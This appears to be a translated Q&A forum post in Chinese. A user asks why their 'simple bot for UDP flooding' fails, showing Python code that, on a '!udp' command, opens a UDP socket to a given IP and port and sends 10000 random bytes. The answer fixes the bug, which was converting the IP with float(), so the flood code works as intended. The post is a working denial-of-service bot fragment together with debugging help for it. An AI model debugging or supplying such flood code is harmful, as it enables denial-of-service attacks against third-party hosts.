我正在开发一个用于UDP泛洪的简单机器人,但它无法正常工作,我运行时得到的是:
ValueError: invalid literal for float(): 127.0.0.1
以下是我认为导致问题的一小部分:
line = line.split()
print line
if(line[0]=='!udp'):
print "attacking ", line[1]
udp=socket.socket ( socket.AF_INET, socket.SOCK_DGRAM )
udp.connect((float(line[1]), int(line[2])))
udp.send(os.urandom(10000))
我四处寻找错误,但我找不到任何东西。
答案 0 :(得分:3)
'127.0.0.1'不是有效的浮点数。将float(line[1])
更改为line[1]
,您将不会收到该错误。您可能想要找出您应该发送的内容作为connect
的第一个参数,因为您无法以该格式发送作为浮点数的IP。